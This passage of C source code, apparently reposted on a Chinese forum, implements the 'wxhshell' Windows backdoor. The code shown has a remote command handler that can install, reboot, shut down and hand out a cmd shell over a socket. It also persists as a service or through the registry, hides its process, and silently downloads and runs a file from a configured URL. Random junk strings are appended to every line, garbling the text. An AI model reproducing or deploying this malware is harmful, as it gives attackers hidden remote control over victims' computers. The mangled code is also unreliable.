:5?g<@  
    switch(cmd[0]) { >U@7xeK  
  A@^e 4\  
  // 帮助 /I~iUND"G  
  case '?': { @A(*&PU>j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 56(S[  
    break; Y=JfV  
  } (hTe53d<S?  
  // 安装 o$I% 1  
  case 'i': { &-#!]T-P:E  
    if(Install()) e=KA|"v xh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y>z~0$  
    else Y4,~s64e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VZNMom,Wr  
    break; ;'!G?)PZ  
    } b;#Z/phix  
  // 卸载 mjUln8Jc  
  case 'r': { `"J=\3->  
    if(Uninstall()) qYj EQz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-Y:)UT  
    else 0sW=;R2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OgjSyzc  
    break; H3T4v1o6  
    } N( 0G!sTI  
  // 显示 wxhshell 所在路径 gE^ {@^  
  case 'p': { g1-^@&q  
    char svExeFile[MAX_PATH]; D_r&B@4w  
    strcpy(svExeFile,"\n\r"); hR" j[  
      strcat(svExeFile,ExeFile); d *ch.((-  
        send(wsh,svExeFile,strlen(svExeFile),0); YUdCrb9F  
    break; 8:c[_3w  
    } _+%RbJ~H  
  // 重启 0?525^   
  case 'b': { :Rc>=)<7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E[bJ5o**#  
    if(Boot(REBOOT)) k4te[6)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .]`LR@qf  
    else { 7a.$tT  
    closesocket(wsh); R%iyNK,  
    ExitThread(0); l@ vaupg  
    } x_lCagRGC4  
    break; D{YAEG   
    } 4f/2gI1@B  
  // 关机 zJNiAc  
  case 'd': { V,?i]q;5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Lu-!}\NP  
    if(Boot(SHUTDOWN)) >$h*1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); co<-gy/mCR  
    else { 47s<xQy  
    closesocket(wsh); E,,)?^g  
    ExitThread(0); tW;?4}JR  
    } kxU <?0  
    break; 86!"b  
    } 7(B|NYq  
  // 获取shell Z+h^ ie"g  
  case 's': { /7#KkMg  
    CmdShell(wsh); `HXP*Bp#  
    closesocket(wsh); [*ylC,w  
    ExitThread(0); jO\29(_  
    break;  ?CKINN  
  } *'=JT#  
  // 退出 a=bP   
  case 'x': { ~`M>&E@Y_/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (h>Jz  
    CloseIt(wsh); 37'@,*m`  
    break; 6#P\DT  
    } jH26-b<  
  // 离开 &kh7|:{j  
  case 'q': { +-~hl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nx>WOb98  
    closesocket(wsh); ^mr#t #[e  
    WSACleanup(); F;p>bw  
    exit(1); DIO @Zo  
    break; K r $R"  
        } )%'Lm  
  } ~ qe9U 0  
  } wW s<{ T  
Zp~2WJQ  
  // 提示信息 Erz{{kf]1V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {B$cd?}  
} gAt[kW< n  
  } gIv :<EJ9  
[v$_BS#u^3  
  return; Am=D kkP%  
}  hM   
5m2(7FC%su  
// shell模块句柄 WK5~"aw  
int CmdShell(SOCKET sock) 6kH47Yc?  
{ F?=(4Pyvu  
STARTUPINFO si; UBoN}iR  
ZeroMemory(&si,sizeof(si)); $r%m<Uc;}O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '~i;g.n=}-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zj;2>  
PROCESS_INFORMATION ProcessInfo; (3z: ;  
char cmdline[]="cmd"; 9!sx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jR<yV  
  return 0; `M?C(  
} c|q!C0X[  
@7 xb/&N  
// 自身启动模式 IxC/X5Mp^q  
int StartFromService(void) (,$ H!qKy  
{ DueQ1+ P  
typedef struct 2Wz/s 0`  
{ Hm2}xnY  
  DWORD ExitStatus; 41 sClC"  
  DWORD PebBaseAddress; h*2Q0GRX  
  DWORD AffinityMask; `F<)6fk  
  DWORD BasePriority; g0t$1cUR  
  ULONG UniqueProcessId; W tF  
  ULONG InheritedFromUniqueProcessId; I,dH\]^h=  
}   PROCESS_BASIC_INFORMATION; @=ABO"CQ  
Gs$<r~Tg  
PROCNTQSIP NtQueryInformationProcess; mlCw(i,  
5P_%Vp`B2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cF{5[?wS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xzF@v>2S+  
)2T?Z)"hO  
  HANDLE             hProcess; V~ -<VM6  
  PROCESS_BASIC_INFORMATION pbi; 6b+\2-eq  
s>`$]6wPa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l<  8RG@  
  if(NULL == hInst ) return 0; lV!ecJw$  
WHxq-&=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /zZ$<mVG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kOR5'rh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y; =y-D  
h-`Jd>u"  
  if (!NtQueryInformationProcess) return 0; w6>'n }  
NikY0=i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !f\,xa|M  
  if(!hProcess) return 0; %Y8#I3jVJ  
q,-bw2   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xEtzqP<]  
3DRbCKNL  
  CloseHandle(hProcess); Wj2]1A  
Z\8TpwD2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -E~pCN(E  
if(hProcess==NULL) return 0; ~6!{\un   
F-Mf~+=Dn  
HMODULE hMod; m}w~ d /  
char procName[255]; )f]E<*k'E  
unsigned long cbNeeded; c"R`7P  
c/.U<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bv,u kQ\CH  
_ +Ww1 f  
  CloseHandle(hProcess); ,[enGw  
[O*5\&6  
if(strstr(procName,"services")) return 1; // 以服务启动 yiyyw,iy  
+^$FA4<~  
  return 0; // 注册表启动 /NFv?~</k  
} Dg~r%F  
}R5>ja0  
// 主模块 tWL3F?wd  
int StartWxhshell(LPSTR lpCmdLine) \/,54c2  
{ Q" BIk =  
  SOCKET wsl; 8 PI>Q  
BOOL val=TRUE; aRg/oA4}  
  int port=0; 2ILMf?}  
  struct sockaddr_in door; vum6O 3  
88 ~BE ^  
  if(wscfg.ws_autoins) Install(); Z 4NNrA#  
HV'xDy[)  
port=atoi(lpCmdLine); $I&DAGV0  
*FyBkG'  
if(port<=0) port=wscfg.ws_port; i)fAm$8# G  
'6i"pJ0%  
  WSADATA data; i/;Ql, gm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$SZqW0!/  
ecIxiv\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PY=(|2tb4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |@KW~YlE  
  door.sin_family = AF_INET; ZrJAfd\5c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0g% `L_e_  
  door.sin_port = htons(port); tqyR~  
Zh.5\&bm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6W&huIQ[  
closesocket(wsl); nQ>?{"  
return 1; Dp|y&x!  
} =$3]%b}  
8Z{&b,Y4L  
  if(listen(wsl,2) == INVALID_SOCKET) { b%<-(o/  
closesocket(wsl); bL\ab  
return 1; O'y8[<  
} yHL2 !  
  Wxhshell(wsl); E5"%-fAJ  
  WSACleanup(); b:Oa4vBa  
8'J"+TsOW  
return 0; g[<K FVlG  
CDcZ6.f  
} c!l=09a~a+  
}$5S@,  
// 以NT服务方式启动 t_1(Ex  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .s-X %%e\  
{ 2lNZwV7  
DWORD   status = 0; rn3GBWC_C  
  DWORD   specificError = 0xfffffff; rvjPm5[t  
9^ITP!~e*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b^b@W^\hn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0Q>f,}W%>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P)x&9OHV  
  serviceStatus.dwWin32ExitCode     = 0; qP? V{N  
  serviceStatus.dwServiceSpecificExitCode = 0; @{16j# 'R  
  serviceStatus.dwCheckPoint       = 0; xgV. <^  
  serviceStatus.dwWaitHint       = 0; Htd-E^/  
KhK:%1po  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gkci_A*  
  if (hServiceStatusHandle==0) return; sd|5oz )  
kj_ o I5<'  
status = GetLastError();  =`fJ  
  if (status!=NO_ERROR) &u) R+7bl,  
{  5,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?K]Cs&E4  
    serviceStatus.dwCheckPoint       = 0; 'J(rIH3U  
    serviceStatus.dwWaitHint       = 0; $<R\|_6J  
    serviceStatus.dwWin32ExitCode     = status; ?v8.3EE1\o  
    serviceStatus.dwServiceSpecificExitCode = specificError; nojJGeW%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4D(5WJ&  
    return; !p$z8~  
  } \q9wo*A  
Y'tPD#|r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {&Kck>C'  
  serviceStatus.dwCheckPoint       = 0; i?" ~g!A  
  serviceStatus.dwWaitHint       = 0; ,e\'Y!'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .$nQD.X  
} zzlV((8 ~  
A2 'W  
// 处理NT服务事件,比如:启动、停止 :^~I@)"ov  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +[386  
{ 7,0^|P  
switch(fdwControl) G&qO{" Js  
{ .f)&;Af^  
case SERVICE_CONTROL_STOP: [JI>e;l C:  
  serviceStatus.dwWin32ExitCode = 0; 1b*Me'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j >f  
  serviceStatus.dwCheckPoint   = 0; [-}LEH1[p  
  serviceStatus.dwWaitHint     = 0; ' lt5|  
  { 2JY]$$K7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]o}g~Xn  
  } :E ]Ys  
  return; hKa<9>MI`  
case SERVICE_CONTROL_PAUSE: kY d'6+m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :iW+CD)j  
  break; ~*aPeJ  
case SERVICE_CONTROL_CONTINUE: !EO*xxQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f;os\8JdM  
  break; J_PAWW  
case SERVICE_CONTROL_INTERROGATE: kpT>xS^6<  
  break; G i 1Jl"  
}; dw'&Av' |E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2d1Z;@x  
} 5]_m\zn=  
xz!b@5DR'%  
// 标准应用程序主函数 @ol}~&"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KVQ^-^  
{ zx<:1nF,]  
K?]><z{  
// 获取操作系统版本 OP:i;%@c  
OsIsNt=GetOsVer(); \VQv "wid  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PeD>mCvL"  
]B8`b  
  // 从命令行安装 lG[@s 'j  
  if(strpbrk(lpCmdLine,"iI")) Install(); =j,2  
-G\svwv@)  
  // 下载执行文件 $;GH -+  
if(wscfg.ws_downexe) { Vl"20):  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <%d/"XNg[D  
  WinExec(wscfg.ws_filenam,SW_HIDE); |"}F cS y  
} Vf28R,~m  
MR")  
if(!OsIsNt) { rw:z|-r  
// 如果时win9x,隐藏进程并且设置为注册表启动 N{/):O  
HideProc(); zVEG ) Hr  
StartWxhshell(lpCmdLine); T'VZ=l[  
} &6 ymGo  
else n1yIQ8F  
  if(StartFromService()) Dn x` !  
  // 以服务方式启动 ?w^MnK0U)  
  StartServiceCtrlDispatcher(DispatchTable); c? Z M<Y"  
else A kMP)\Q  
  // 普通方式启动 H?]%b!gQG  
  StartWxhshell(lpCmdLine); il8n K  
,|5|aVfh  
return 0; Ez()W,6]g  
}
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只看该作者 1 发表于: 2006-10-10
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